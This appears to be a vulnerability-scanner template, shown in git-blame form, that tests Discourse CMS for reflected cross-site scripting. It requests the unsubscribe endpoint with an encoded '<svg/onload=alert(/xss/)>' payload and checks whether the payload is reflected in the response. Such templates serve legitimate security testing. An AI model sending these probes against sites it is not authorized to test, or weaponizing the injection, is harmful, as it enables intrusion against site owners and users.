2020-09-01 02:25:25 +00:00
|
|
|
id: discourse-xss
|
2020-04-08 16:10:51 +00:00
|
|
|
|
|
|
|
info:
|
2020-08-25 19:43:43 +00:00
|
|
|
name: Discourse CMS - XSS
|
2020-04-08 16:10:51 +00:00
|
|
|
author: madrobot
|
2020-05-24 22:19:21 +00:00
|
|
|
severity: medium
|
2020-08-25 19:43:43 +00:00
|
|
|
description: Cross-site scripting (XSS) on Discourse CMS
|
2021-02-12 05:53:01 +00:00
|
|
|
tags: xss,discourse
|
2020-04-08 16:10:51 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
2022-06-09 04:41:03 +00:00
|
|
|
- '{{BaseURL}}/email/unsubscribed?email=test@gmail.com%27\%22%3E%3Csvg/onload=alert(/xss/)%3E'
|
2020-07-08 11:38:57 +00:00
|
|
|
matchers-condition: and
|
2020-04-08 16:10:51 +00:00
|
|
|
matchers:
|
|
|
|
- type: status
|
|
|
|
status:
|
2020-05-24 22:19:21 +00:00
|
|
|
- 200
|
2021-02-12 05:53:01 +00:00
|
|
|
|
2020-04-08 16:10:51 +00:00
|
|
|
- type: word
|
|
|
|
words:
|
2022-06-09 04:41:03 +00:00
|
|
|
- "<svg/onload=alert(/xss/)>"
|
2020-04-08 16:10:51 +00:00
|
|
|
part: body
|
2021-02-12 05:53:01 +00:00
|
|
|
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- "text/html"
|
2022-06-09 04:41:03 +00:00
|
|
|
part: header
|